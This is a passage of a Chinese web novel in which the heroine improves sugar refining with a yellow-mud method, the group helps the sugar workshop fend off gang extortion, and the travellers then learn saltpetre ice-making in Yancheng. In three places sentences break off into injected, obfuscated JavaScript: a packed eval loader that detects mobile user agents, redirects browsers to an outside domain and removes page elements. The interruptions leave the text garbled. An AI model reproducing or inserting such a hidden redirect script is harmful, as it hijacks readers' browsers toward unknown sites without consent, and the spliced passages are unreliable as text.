呆六娘立刻来了精神,小辫子一甩一甩的:“好呀好呀!” 船刚靠岸,就闻到一股甜腻的焦糖味。众人沿着田埂走去,看到一座用竹篱笆围起来的院落,门口挂着“林氏糖坊”的木牌。 糖坊门口堆着成捆的甘蔗,几个短打汉子正忙着将甘蔗送入石碾。甜腻的香气弥漫在空气中,呆六娘抽着小鼻子,像只寻蜜的小熊。 “几位客人是来买糖的?”一个系着粗布围裙的妇人迎上来,约莫三十出头,眉眼间透着干练,“我是这糖坊的坊主林霜娘。” 江心月注意到她手上布满细小的烫痕,指节粗大,显然是常年劳作的痕迹:“林坊主,我们路过此地,想看看制糖的过程,不知可否行个方便?” 林霜娘爽快地一挥手:“这有什么,随我来吧。小丫头,给你块糖吃。”说着从腰间小布袋掏出块琥珀色的糖块递给呆六娘。 呆六娘接过糖,眼睛弯成月牙:“谢谢婶婶!” 糖坊里热气扑面,七八口大锅依次排开,冒着泡泡,工人们汗流浃背地搅拌着糖浆。林霜娘带着他们一一参观:“这是榨汁区,甘蔗要先压成汁。” 呆六娘好奇地摸着一根甘蔗:“这个可以直接吃吗?” 林霜娘笑着掰下一小段递给她:“尝尝,很甜的。” “这是头道浆,最甜;这是二道浆,色深些...” 江心月在一口大锅前停住脚步,锅里糖浆颜色发暗,泡沫也不够均匀:“林坊主,这锅火候是不是过了?” 林霜娘惊讶地看她一眼:“姑娘懂制糖?确实,这灶火不好控制,稍不留神就...” “可以用黄泥水淋糖。”江心月脱口而出,随即意识到失言,连忙补充,“我是说,我家乡有种法子...” 林霜娘眼睛一亮:“黄泥水?姑娘细说说!” 都文曜和浔阳秋交换了个眼神。都文曜轻摇折扇:“江小姐祖上做过糖商?” 江心月含糊地应了一声,指着旁边的糖浆桶:“就是将黄泥调成浆水,从糖浆顶部淋下,泥水会带走杂质,糖色更白净,出糖率也能提高三成。” 林霜娘激动地抓住江心月的手:“姑娘这法子当真?若真能成,我这糖坊就有救了!” 呆六娘仰着脸看大人们说话,糖汁沾了满手也不在意。浔阳秋掏出手帕给她擦手:“慢点吃,都黏糊了。” “现在就能试试吗?”林霜娘迫不及待地问,“后头正好有新榨的糖浆!” 江心月点点头,跟着林霜娘来到后院。几个工人正在将熬好的糖浆倒入瓦溜中冷却。江心月卷起袖子,找了块黄泥,兑水调成稀浆。 “要这样均匀地淋下去。”她示范着,黄泥水缓缓渗入糖浆,渐渐带出深色的杂质。 林霜娘目不转睛地盯着,突然拍腿大叫:“神了!这糖色当真透亮许多!” 工人们也围过来,啧啧称奇。一个老师傅捻着胡须:“老汉制糖三十年,头回见这法子,姑娘真是神了!” 都文曜凑近浔阳秋耳边:“你这朋友不简单啊。” 浔阳秋望着江心月专注的侧脸,眼中闪过一丝疑惑,但很快被笑意取代:“她向来聪慧。” 试验成功后,林霜娘非要留他们用饭。饭菜摆在后院的老槐树下,虽只是些家常菜,但胜在新鲜。林霜娘给江心月斟了杯自酿的甘蔗酒:“江姑娘,这法子若能推广,可是造福万千糖农啊!” 江心月抿了口酒,甜中带辣:“林坊主言重了。不过这法子确实能省不少柴火,糖色也好,卖价能高些。” 呆六娘啃着糖醋排骨,油乎乎的小手扯扯江心月的袖子:“三娘,我还能去看做糖吗?” 林霜娘笑着起身:“来,婶婶带你去。刚淋好的糖该成型了。” 众人跟着来到糖房,果然见瓦溜中的糖已经凝固,色泽如琥珀般透亮。林霜娘撬下一块递给江心月:“尝尝,可比之前的强多了!” 江心月掰开糖块,分给众人。糖入口即化,甜而不腻。都文曜赞叹道:“比贡糖也不差!” “江姑娘,”林霜娘突然正色道,“我想买下你这法子,你开个价。” 江心月连忙摆手:“这法子本就不是我独创,林坊主尽管用便是。” 林霜娘却执意不肯:“这哪行!要不这样,你以技术入股,我这糖坊分你三成干股!” 浔阳秋轻咳一声:“江小姐,这倒是个好主意。你不是正想在湖州开分店吗?” 江心月思索片刻:“那不如这样,林坊主负责生产,我负责销路。咱们合作,把这种白糖卖到永安城去。” 林霜娘大喜,当即让人拿来纸笔,写下契约。两人按了手印,算是达成合作。 江心月刚要说什么,院外突然传来嘈杂声。一个工人慌慌张张跑进来:“坊主,青龙帮的人来了!” 林霜娘脸色一变:“不是才交过月钱吗?” 话音未落,三个彪形大汉已经闯了进来。为首的满脸横肉,一脚踢翻了旁边的糖筐:“林坊主,听说你们得了新方子?我们帮主说了,要么交出方子,要么每月加十两银子!” 都文曜缓缓站起身:“光天化日,强取豪夺,好大的胆子。” 大汉斜眼看他:“哪来的小白脸,少管闲事!” 浔阳秋“唰”地展开折扇,轻笑道:“这位兄台,说话客气些。” 大汉伸手就要推搡,都文曜一个闪身,反手扣住他的手腕,轻轻一拧,那大汉就疼得跪在了地上。另外两人见状扑上来,被浔阳秋三两下放倒。 “你、你们等着!”大汉狼狈地爬起来,“青龙帮不会放过你们的!” 都文曜从腰间取出一块令牌:“回去告诉你们帮主,漕帮都文曜在此,让他洗干净脖子等着!” 三人一听“漕帮”二字,顿时面如土色,连滚带爬地跑了。 林霜娘又惊又喜:“原来是漕帮的少当家!多谢少当家解围。” 都文曜摆摆手:“举手之劳。不过青龙帮不会善罢甘休,我们得想个长久之计。” 江心月思索片刻:“林坊主,不如这样。我把改良的制糖法教给你,但你对外宣称是从别处学来的。另外,我建议你加入湖州糖业行会,有了行会庇护,青龙帮就不敢轻易招惹。” 林霜娘感激地点头:“都听江姑娘的。” 夕阳西沉时,众人才告辞离去。林霜娘一直送到渡口,再三叮嘱江心月常来看看。小船离岸,呆六娘趴在船尾冲林霜娘挥手,糖坊渐渐隐没在暮色中。 回程船上,都文曜忍不住问:“江小姐,那黄泥淋糖法,你是从哪学来的?” 江心月望着水面泛起的涟漪:“小时候...看过一本杂书,记不太清了。” 浔阳秋若有所思地看了她一眼,但没再多问。呆六娘已经困得东倒西歪,小脑袋一点一点的,最后干脆栽进江心月怀里睡着了。 接下来的三天,江心月留在糖坊,手把手教工人们改良工艺。浔阳秋和都文曜则忙着联络湖州商会的朋友,为林氏糖坊寻求庇护。呆六娘成了糖坊的小开心果,工人们都喜欢逗她玩,给她做各种形状的糖人。 第四天清晨,第一批改良白糖正式出坊。林霜娘捧着雪白的糖块,眼眶都红了:“江姑娘,这糖比我见过的广糖还要好!” 江心月笑着帮她擦去眼泪:“林姐别这样,以后会更好的。” 都文曜从城里带回好消息:“商会已经接纳林氏糖坊了,青龙帮也被官府警告,不敢再来骚扰。” 浔阳秋补充道:“而且湖州知府尝了这白糖,说要列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452571|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为贡品,以后宫里都用你家的糖。” 林霜娘激动得说不出话来,只是紧紧握着江心月的手。 离别时,林霜娘塞给江心月一个大包袱:“这里是最新熬制的冰糖和方子笔记,还有我给六娘做的糖人。” 呆六娘开心地接过糖人:“谢谢林姨!” 小船缓缓离岸,林霜娘站在码头上不停挥手。呆六娘趴在船边,直到糖坊消失在视野里才坐回来。 “三娘,我们以后还来吗?”她仰着小脸问。 江心月摸摸她的头:“当然来,林姨不是答应教你做兔子糖人吗?” 都文曜划着桨,笑道:“江小姐这次可是做了件大好事。这改良的制糖法若推广开来,能让多少糖坊受益。” 浔阳秋望着远处的山影:“是啊,甜了天下人的嘴。” 江心月被说得有些不好意思:“只是碰巧知道些皮毛罢了。” 呆六娘突然举起糖人:“我的糖人最甜!” 众人都笑了起来。夕阳西下,小船在金色的水面上划出一道长长的波纹,载着欢声笑语,向着远方驶去。 “明日我们就回程?”都文曜压低声音问。 浔阳秋点点头:“案子结了,糖也买了,该回去了。珍珠坊还等着开业呢。” 江心月轻轻拍着怀里的呆六娘,月光洒在三人身上,小船晃晃悠悠地驶向客栈。远处传来隐约的渔歌,和着水声,像首温柔的催眠曲。 第二天清晨,众人收拾行装准备返程。林霜娘却匆匆赶来,身后跟着两个伙计,抬着个大木箱。 “江姑娘,这是连夜赶制的白糖,你带上。”林霜娘擦着汗,“还有这个。”她掏出个小布包,“是我祖传的制糖笔记,或许对你有用。” 江心月推辞不过,只好收下。呆六娘扒着箱子边缘往里看:“三娘,我能吃一块吗?” “路上再吃。”江心月点点她的鼻尖,转向林霜娘,“下个月我派人来取货,第一批先供应当地酒楼试试水。” 林霜娘连连点头,一直送到城门外才依依惜别。马车缓缓前行,呆六娘趴在车窗上,直到看不见林霜娘的身影才坐回来。 “三娘,回去我能给周叔他们带糖吗?”呆六娘眼巴巴地问。 “当然可以。”江心月笑着捏捏她的脸蛋,“不过一天只能吃一块,不然牙该疼了。” 都文曜骑马跟在车旁,闻言笑道:“六娘,你三娘是为你好。我小时候偷吃糖,牙疼得直打滚。” 浔阳秋在另一侧车窗边策马而行:“三娘,回去后要不要在珍珠坊加个糖水铺子?用这白糖做甜品肯定受欢迎。” 江心月眼睛一亮:“好主意!还可以和解婆婆商量,做些药膳糖水。” 呆六娘举起小手:“我能帮忙试吃!” 众人笑作一团。马车碾过路上的小石子,微微颠簸。路边的野花开得正盛,几只蝴蝶在花间飞舞。呆六娘数着路边的杨柳,数着数着又迷糊起来,靠在江心月肩上打起了盹。 正午时分,车队在一条小溪边停下休整。都文曜去溪边洗脸,浔阳秋帮着生火煮茶。江心月从箱子里取出一包糖,掰了小块含在嘴里,甜味在舌尖化开。 “三娘似乎对制糖很了解?”浔阳秋突然问,手里拨弄着火堆。 江心月顿了顿:“略知一二罢了。” 浔阳秋抬眼看她,目光温和却带着探究:“那黄泥淋糖法,连都文曜这个走南闯北的人都未见过。” “或许是...家乡偏方?”江心月避开他的视线,给熟睡的呆六娘掖了掖衣角。 浔阳秋没再追问,只是递给她一杯热茶:“小心烫。” 都文曜甩着水珠回来,打破了短暂的沉默:“前面再有半日就到驿站了。我让人准备了烤全羊,今晚好好吃一顿!” 呆六娘迷迷糊糊醒来,听见“烤全羊”三个字,立刻精神了:“有羊肉吃?” 众人被她这馋样逗乐了。休整完毕,车队继续前行。夕阳将众人的影子拉得很长,投在官道的尘土上,交织在一起,又慢慢被暮色吞没。 36. 岭南行之盐城1 驿站后院飘着烤全羊的香气,火堆上的羊肉滋滋作响,油滴落入炭火中,溅起细小的火星。暮色四合,天边的晚霞红得像熟透的柿子,把整个院子都染成了温暖的橘红色。 呆六娘蹲在火堆旁,双手托着腮帮子,眼睛一眨不眨地盯着烤得金黄的羊肉。她的小鼻子不停地抽动,嘴角亮晶晶的,不知是口水还是方才喝的蜜水。 “别靠太近,当心火星子。”江心月把她往后拉了拉,顺手用帕子擦了擦她嘴角。帕子上绣着几朵淡紫色的小花,已经有些旧了,但洗得很干净。 都文曜正用匕首片着烤好的羊肉,刀刃在火光下闪着寒光。他手法娴熟,每一片肉都切得薄厚均匀。“六娘这馋样,跟我小时候一模一样。”他笑着把第一盘肉递给江心月,“江姑娘先请。” 浔阳秋接过都文曜递来的第二盘羊肉,忽然注意到驿站角落停着几辆奇怪的马车。车辕比寻常马车粗壮许多,车底不断滴着水,在干燥的地面上洇出深色的痕迹,像一条蜿蜒的小溪。 “那几辆车怎么一直在滴水?”浔阳秋用筷子指了指,眉头微皱。 呆六娘立刻蹦起来,两条小辫子跟着一甩:“我去看看!”还没等大人反应过来,她已经一溜烟跑了过去,裙角飞扬像只花蝴蝶。 “六娘!”江心月连忙起身追去,却见小姑娘已经蹲在马车旁,好奇地用手指蘸着地上的水渍尝了尝。 “是甜的!”呆六娘惊喜地回头喊道,眼睛亮得像星星。 都文曜大步走来,看了眼马车厚重的稻草帘子和特制的木箱:“这是运冰的车。水里掺了蜜糖,防止冰块粘在车上。” “运冰?”江心月惊讶地看着马车,伸手摸了摸车壁,触手冰凉,“这个季节还有冰?” 都文曜点点头,用匕首柄敲了敲车板:“盐城产的冰,专供达官贵人消暑用。这车壁有三层,中间填了棉絮和木屑,能保三日不化。” 呆六娘扒着车辕想往上爬,小短腿一蹬一蹬的:“我想看冰块!” 赶车的伙计赶紧从驿站里跑出来拦住她:“小祖宗,可不敢掀帘子,冰化了要挨板子的!”他粗糙的大手轻轻按住呆六娘的肩膀,脸上带着讨好的笑。 浔阳秋把呆六娘抱回来,小丫头在他怀里扭来扭去:“就看一下嘛!” “别闹,”浔阳秋捏了捏她的鼻尖,“冰化了人家要受罚的。你忍心看这位大叔挨板子?” 呆六娘撅着嘴摇头,眼睛却还恋恋不舍地瞟着马车。 回到火堆旁,江心月若有所思地搅动着碗里的羊肉汤。汤面上浮着的油花在火光映照下泛着金光。“马上就是仲夏日了,”她轻声说,“要是有冰,倒是能做不少消暑的饮子。” “难啊。”都文曜撕着羊肉摇头,油光沾满了他的手指,“冰价贵如金,寻常人家哪用得起。去年伏天,一块巴掌大的冰要卖二两银子呢。” 呆六娘嘴里塞满羊肉,含糊不清地嚷道:“我要吃冰酪!就是上回在城里吃过的那种,浇了蜂蜜和果酱的!” 江心月被她逗笑了,用帕子擦掉她脸上的油渍:“就知道吃。”转头对都文曜道,“都公子,盐城离这儿多远?” 都文曜挑了挑眉,把匕首插回腰间皮鞘:“两日路程。怎么,你想去?” 浔阳秋眼睛一亮,放下手中的碗:“盐城的冰户确实有独门秘法,能在盛夏存冰。我听说他们挖了很深的地窖,用特殊方法隔绝热气。”他转向江心月,眼中闪着兴奋的光,“若是能学来,珍珠坊夏日卖冰饮,必能大赚。” “真的吗?”呆六娘激动地跳起来,差点打翻面前的汤碗,“那我们是不是可以天天吃冰酪了?” 江心月按住她乱晃的小手:“别急。”她看向都文曜,“都公子,盐城可方便去?” 都文曜爽快地拍了拍大腿:“这有什么不方便的。反正咱们也不急着回去,明日就改道盐城!”他转头对驿站的小二喊道,“伙计,再加壶酒!” 火堆噼啪作响,映照着众人兴奋的脸庞。江心月轻轻搅动着碗里的汤,已经开始在心里盘算冰饮的配方。浔阳秋则向都文曜详细询问着盐城的情况,时不时在本子上记几笔。呆六娘靠在江心月膝头,眼皮已经开始打架,嘴里还嘟囔着“冰酪”。 夜深了,驿站的灯笼在风中轻轻摇晃。都文曜打了个哈欠:“明日一早出发,争取天黑前赶到清水镇。”他起身拍了拍衣摆上的草屑,“各位早些歇息吧。” 江心月抱起已经睡着的呆六娘,小姑娘在她怀里蹭了蹭,像只小猫似的。浔阳秋拿起搭在椅背上的外衣,轻轻盖在呆六娘身上:“我送你们回房。” 月光如水,洒在驿站的石板路上。江心月低头看着怀里熟睡的呆六娘,轻声道:“这小丫头,今天可玩疯了。” 浔阳秋笑了笑,伸手拨开垂到呆六娘脸上的发丝:“她倒是提醒了我们。夏日冰饮确实是个好主意,只是不知道盐城的冰户肯不肯传授秘法。” “总得试试。”江心月抬头看了看满天星斗,“若是成了,明年夏天珍珠坊的生意就不愁了。” 他们停在客房门前,窗棂里透出微弱的灯光。浔阳秋轻轻推开门:“需要什么就喊我,我住隔壁。” 江心月点点头,小心地抱着呆六娘进屋。她把小姑娘放在床上,脱掉沾了油渍的外衣,又打来温水给她擦了脸和手。呆六娘在睡梦中咂了咂嘴,翻了个身继续睡去。 窗外,虫鸣声声。江心月坐在窗边,借着月光在本子上写下明天的计划。墨水在纸上晕开,像一朵朵小花。她想起小时候,父亲带她去北方见过的冰雕,晶莹剔透,在阳光下闪闪发光。 “三娘...”呆六娘在梦中呓语,“冰酪...多加蜂蜜...” 江心月忍不住笑了,轻轻合上本子。夜风拂过窗棂,带着夏日特有的温热。明天,他们将踏上前往盐城的路,或许会为珍珠坊带来新的机遇。想到这里,她的心里涌起一股久违的期待。 远处传来更夫的梆子声,夜已深了。江心月吹灭油灯,躺在床上。身旁的呆六娘像只小火炉,散发着温暖。她轻轻搂住小姑娘,闭上眼睛,梦里全是晶莹的冰块和甜美的冰酪。 第二日清晨,天刚蒙蒙亮,驿站后院就忙碌起来。马夫正给马匹套上辔头,车辕发出吱呀的声响。呆六娘揉着眼睛被江心月抱上马车,小脑袋一点一点的,像只没睡醒的小鸡崽。 “再睡会儿。”江心月把薄毯盖在她身上,转头对都文曜说,“都公子,咱们走哪条路?” 都文曜展开一张泛黄的地图,指着上面蜿蜒的线条:“走官道虽远些,但胜在平坦。若是抄近路,怕是小丫头受不住颠簸。” 浔阳秋检查完马鞍,走过来补充道:“沿途经过三个驿站,天黑前能到清水镇。” 车队缓缓驶出驿站,转向东北方的盐城。太阳渐渐升高,晒得车顶发烫。呆六娘趴在车窗上,小脸晒得通红,额前的碎发被汗水黏在皮肤上。 “忍一忍,到了盐城就有冰吃了。”江心月用湿帕子给她擦脸,帕子很快变得温热。她从水囊里倒出最后一点凉水,沾湿帕子又擦了一遍。 呆六娘蔫蔫地靠在车厢上:“三娘,我嗓子冒烟了...” 正午时分,车队在路边一处茶棚停下歇脚。茶棚简陋,几根竹竿撑着茅草顶,四面透风。老板是个精瘦的老汉,正有气无力地摇着蒲扇。 “几位客官用点什么?”老汉拎着茶壶过来,壶嘴冒着若有若无的热气。 都文曜抹了把脸上的汗:“有什么凉快的?” 老汉苦笑着摇头:“这鬼天气,井水都是温的。茶都晒成温的了,客人嫌不够凉快,生意难做啊。”他给每人倒了碗淡茶,果然只是微温。 江心月抿了一口,茶味苦涩,确实难以下咽。她环顾四周,发现茶棚里除了他们,只有两个挑夫在角落里打盹。 “老板,若是能有冰镇酸梅汤,您愿意出多少钱买冰?”江心月突然问道。 老汉眼睛一亮,蒲扇都忘了摇:“真有冰?那二十文一碗都有人抢着要!”他压低声音,“不瞒您说,前几日有个贩冰的车队路过,一碗冰镇绿豆汤卖到三十文呢。” 离开茶棚后,江心月坐在马车里,手指无意识地在膝上轻敲,像是在算账。浔阳秋打马靠近车窗,马鞭在手中轻转:“在想什么?” “我在算账。”江心月眼睛亮晶晶的,从袖中掏出个小算盘,“若是能学会制冰,一个夏天赚的钱,够珍珠坊半年的开销了。”她纤细的手指在算盘上飞快拨动,珠子碰撞发出清脆的声响。 都文曜在前头听见,勒马回头笑道:“江小姐倒是会算计。不过盐城的冰户向来秘技自珍,怕是不好学。” “总要试试。”江心月收起算盘,摸了摸身边昏昏欲睡的呆六娘,“大不了花钱买他们的冰。”她望向远处起伏的山峦,已经开始盘算要带多少冰回去。 车队继续前行,路面渐渐变得崎岖。呆六娘被颠得东倒西歪,终于忍不住抱怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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呆六娘扒着车窗看,小脸上写满不解:“三娘,为什么冰这么金贵?” 江心月摸摸她的头:“因为只有盐城的人会在夏天制冰啊。” 傍晚时分,盐城高大的城墙终于出现在视野中。夕阳的余晖照在城墙上,折射出奇异的光彩,像是撒了一层盐晶。城门口排着长队,都是等着进城的运冰车,车夫们互相打着招呼,空气中弥漫着咸湿的气息。 呆六娘被江心月摇醒,迷迷糊糊揉着眼睛:“到了吗?” “到了。”江心月指着远处闪闪发光的城墙,“那就是盐城,盛产冰和盐的地方。” 排队进城时,都文曜跟前面车夫搭话:“老哥,今年冰价如何?” 车夫抹了把汗:“贵着呢!一尺见方的冰块要一两二钱银子,比去年涨了三成。”他压低声音,“听说是因为官府要修冰窖,加收了冰税。” 进城后,众人才发现这里与众不同。街道两旁的店铺门口都挂着厚厚的草帘,伙计们进出时总是快速掀帘,生怕热气进入。街上的行人也行色匆匆,似乎都不愿在烈日下多待片刻。 “冰糖莲子羹!冰镇酸梅汤!”一个头戴草帽的小贩推车经过,车上木桶冒着丝丝白气,在炎热的空气中格外醒目。 呆六娘立刻精神了,趴在车窗上眼巴巴地看着:“三娘,我想喝!” 都文曜拦住小贩,买了几碗。冰凉的酸梅汤盛在粗瓷碗里,碗壁凝结着水珠,拿在手里凉丝丝的。呆六娘迫不及待地喝了一大口,冻得直缩脖子,又舍不得吐出来,那小模样逗得众人直乐。 江心月小口啜饮,酸甜冰凉的液体滑过喉咙,驱散了连日的暑气。她注意到碗里的冰块形状规整,像是特意凿过的。 找客栈安顿时,掌柜是个满脸褶子的老头,正打着算盘记账。听说他们想学制冰,老头停下算盘,连连摆手:“客官别费心了,冰户的技艺都是祖传的,连女儿都不教,何况外人。” 江心月不死心,从荷包里取出一小块碎银推过去:“掌柜的可知哪位冰户最好说话?” 掌柜摸了摸银子,思索片刻:“城西的杨老憨或许能通融。他去年伤了腿,家里就剩个闺女操持,日子不太好过。”他压低声音,“不过您可别说是我告诉的,坏了规矩我可担待不起。” 安顿好行李,江心月站在窗前望着盐城的夜景。远处传来凿冰的叮当声,空气中飘着淡淡的咸味。 明天,他们将去拜访这位杨老憨,或许能为珍珠坊打开新的局面。 想到这里,她的手指不自觉地敲击窗棂,像是已经拨起了心爱的算盘。 37. 岭南行之盐城2 次日天刚亮,江心月就醒了。她轻手轻脚地起身,推开客栈的窗户。盐城特有的咸湿空气扑面而来,远处传来渔民出海的号子声。呆六娘还在床上酣睡,小脸埋在枕头里,发出轻微的鼾声。 “六娘,该起床了。”江心月轻轻摇醒她,“今天要去拜访杨师傅。” “三娘...”呆六娘揉着眼睛坐起来,小脸上还带着枕头印:“杨师傅家有冰吗?” “去了就知道。”江心月帮她梳好辫子,又取出件干净的鹅黄色裙子,“今天穿这个,杨师傅家有个姐姐,你要有礼貌。” 楼下,都文曜和浔阳秋已经备好马车。都文曜正在检查马鞍,见她们下来,笑着招呼:“小馋猫今天起得倒早。” 呆六娘做了个鬼脸,一溜烟钻进了马车。 按掌柜指的路,他们来到城西。 这里的房屋比城中心简陋许多,墙上糊的泥灰都剥落了大半。杨家的院子更显寒酸,竹篱笆歪歪斜斜,门口的草帘破了个大洞,用粗线勉强缝着。 一个十七八岁的姑娘正在院里晒海带,粗布衣裙上沾着盐渍。见有生人来,她立刻站直身子,手中的海带掉在地上。 “姑娘别怕。”都文曜上前拱手,声音放得很轻,“我们想拜访杨师傅,谈谈买冰的事。” 姑娘警惕地打量着他们,目光在呆六娘身上停留片刻。小丫头今天特意戴了朵绢花,正扒着篱笆好奇地往里看。 “几位稍等。”姑娘神色稍缓,转身进了屋,海带在她脚边拖出一道湿痕。 不一会儿,一个拄拐的中年汉子一瘸一拐地出来。他面容憨厚,眼睛却亮得惊人,像能看透人心似的。 “几位要买冰?”杨老憨的声音沙哑,像是常年被海风呛的。 江心月上前行礼,姿态优雅得体:“杨师傅,我们想请教制冰之法。若您愿意传授,价钱好商量。” 杨老憨脸色一变,拐杖重重敲在地上:“姑娘说笑了,这手艺是祖传的,不教外人。”说着就要转身回屋,动作太急差点绊倒。 “杨师傅且慢。”浔阳秋掏出沉甸甸的钱袋,“我们诚心求教,这是定金。” 杨老憨瞥了眼钱袋,摇摇头:“不是钱的事。盐城有规矩,泄密者逐出城去。”他拍了拍残废的腿,“我虽穷,也不能坏了祖训。” 气氛一时僵住。呆六娘突然跑到杨老憨跟前,仰着小脸:“伯伯,你腿疼不疼?我帮你揉揉。”说着就要去摸他的伤腿。 杨老憨一愣,神色柔和下来:“小丫头真乖。伯伯这是老伤了,不碍事。” 江心月见状,轻声道:“杨师傅,我们不是要抢您生意。我们在北方开茶坊,只想学些存冰的法子,好做消暑饮子。” 这时杨姑娘端着茶盘出来,粗瓷碗里的茶水冒着热气:“爹,北方那么远,碍不着咱家生意。” 杨老憨接过茶碗,沉思良久,突然问:“你们会算账不?” 都文曜和浔阳秋面面相觑。江心月点头:“略通一二。” “这样。”杨老憨一咬牙,“我教你们个简单的制冰法,你们帮我闺女把今年夏天的账理清楚。”他无奈地看了眼女儿,“那丫头算账总出错,去年亏了不少。” 杨姑娘涨红了脸:“爹!”手里的茶盘差点打翻。 众人一口答应。杨老憨领着他们来到后院,这里比前院整洁许多,角落里堆着许多木桶和陶罐。最引人注目的是那口深井,井沿磨得发亮,旁边放着几个特制的双层陶罐。 “这就是硝石井。”杨老憨用拐杖敲了敲井沿,“我们盐城地下有硝石矿脉,井水含硝量高。” 他让女儿打上来一桶井水,水色微浑,泛着奇异的光泽。杨老憨舀了一瓢递给江心月:“尝尝。” 江心月小心抿了一口,眉头立刻皱起——又苦又涩,还带着股金属味。 “难喝吧?”杨老憨笑了,“但这水能制冰。”他指向那些双层陶罐,“外罐装井水,内罐装干净的泉水。” 杨姑娘已经准备好了材料。她将井水倒入大陶罐,又把一个小陶罐放在中间,往小罐里注入清冽的山泉水。 “看好了。”杨老憨用木棒搅动外罐的井水,“要一直搅,直到小罐里的水结冰。” 江心月认真观察着。井水在搅拌下泛起白沫,散发出微微的热气。大约过了半个时辰,杨姑娘突然喊道:“结冰花了!” 江心月凑近一看,小罐内壁果然出现了细密的冰晶。又过了两刻钟,水面完全结了一层薄冰。 “这就成了?”江心月惊讶地问。 杨老憨摇摇头:“这才刚开始。”他让女儿把结了冰的小罐取出,倒掉外罐已经变温的井水,“硝水晒干后能重复使用。关键是掌握比例和时机。” 整个上午,江心月跟着杨老憨反复试验。她发现外罐井水的量要刚好漫过内罐的三分之二,搅拌的速度不能太快也不能太慢。最关键是温度——要在一天中最热的时辰制冰,效果最好。 “为什么非要大热天制冰?”江心月擦着汗问。 杨老憨神秘地笑了:“硝石吸热,天越热吸得越快。就像人干活,越累越能吃。” 老人虽然腿脚不便,但一说到制冰就精神抖擞。他演示如何调配硝石水比例,如何控制温度,江心月认真记在本子上,不时提问。 浔阳秋和都文曜则带着呆六娘在城里采购制冰要用的器具。小丫头对盐城的一切都充满好奇,在杂货铺里东摸摸西看看。 “都哥哥,这个筛子好奇怪!”呆六娘举着个铜丝编的细筛。 店老板笑道:“小丫头好眼力,这是专门筛硝石用的。” 回杨家的路上,呆六娘的小布袋已经装满了各种稀奇玩意:一小包海盐、几个彩贝壳、还有块据说是美人鱼眼泪的透明石头。 “三娘你看!”一回到杨家,呆六娘就献宝似的掏出贝壳,“杨姐姐送我的,说是海里来的!” 江心月正在记录制冰的步骤,闻言笑着摸摸她的头:“真漂亮。去谢谢杨姐姐没有?” “谢啦!我还帮她穿了好多珠子呢!”呆六娘得意地说,“杨姐姐说我可以当她的妹妹!” 都文曜放下几个木箱:“这是按杨师傅单子买的陶罐,还有搅拌用的檀木棒。” 浔阳秋则展开一张图纸:“我画了冰窖的构造,杨师傅说这样最保温。” 呆六娘献宝似的掏出个小陶罐:“杨姐姐说这个最适合初学者用!” 江心月看着刚制出的一小块冰,在阳光下晶莹剔透,心里已经开始盘算珍珠坊的冰窖该怎么改建。 下午的实践更有趣。杨老憨教他们用不同比例的硝水试验。江心月发现,井水与清水的比例在七比三时,结冰速度最快。 “三娘,我能试试吗?”呆六娘眼巴巴地问。 杨老憨给她一个小号的陶罐:“来,伯伯教你。” 小丫头学得认真,小手握着木棒慢慢搅动,小脸憋得通红。突然她惊叫一声:“出水了!”原来她搅得太用力,水溅了一身。 众人大笑。杨姑娘拿来干布给她擦脸:“六娘真厉害,第一次就差点成功。” 傍晚时分,江心月终于独立制出了第一罐完整的冰。看着晶莹剔透的冰块在夕阳下闪闪发光,她忍不住伸手摸了摸,凉意顺着指尖直达心底。 “成了!”她惊喜地喊道。 杨老憨拄着拐杖过来检查,满意地点头:“江姑娘学得快。明天教你存冰的法子。” 晚饭后,江心月在灯下仔细记录今天的发现。浔阳秋敲门进来,手里拿着几页纸:“杨姑娘给的账本,我发现个问题。” 原来盐城的冰税比想象中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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江心月郑重地行了一礼:“杨师傅大恩,没齿难忘。”她从袖中取出一张银票,“我想跟您长期合作。您供硝石,我负责在北方推广冰品,利润分成。” 杨老憨沉思良久,终于点头:“江姑娘是实在人。不过...”他压低声音,“盐城有冰行,垄断买卖。你们运硝石出去要小心。” 杨老憨犹豫片刻,从怀里掏出本破旧的小册子,“这是我这些年记的笔记,你拿去看吧。” 离开盐城那日,杨姑娘特意来送行。她给呆六娘做了条贝壳项链,每一颗贝壳都精心打磨过。 “姐姐,我会想你的。”呆六娘抱着她不撒手,小脸埋在她腰间。 杨姑娘眼圈微红:“等你家冰窖修好了,姐姐去看你。” 车队多了辆马车,载满了硝石和制冰器具。呆六娘趴在车窗上,直到看不见杨姐姐的身影才坐回来,小手不停地摸着脖子上的贝壳项链。 “三娘,我们回去就做冰酪吗?”呆六娘眼巴巴地问。 江心月捏捏她的小脸:“先得把冰窖修好。”她翻开杨老憨给的小册子,“等天最热的时候,让你第一个尝。” 都文曜骑马在前头开路,回头笑道:“六娘,回去第一个冰酪给谁吃?” 呆六娘掰着手指数:“三娘、秋儿哥、都大哥、陈婆婆...”数到后来把自己绕晕了,惹得众人大笑。 马车转过一个山坡,远处出现一片荷塘。粉白的荷花在晨风中摇曳,露珠在荷叶上滚动,在阳光下闪闪发亮,就像他们这次盐城之行的收获,晶莹剔透,充满希望。 江心月望着窗外掠过的景色,手指轻轻抚过小册子的扉页——那里有杨老憨歪歪扭扭的字迹:“制冰如做人,心要静,手要稳。”她嘴角泛起微笑,已经开始期待回到珍珠坊大展身手了。 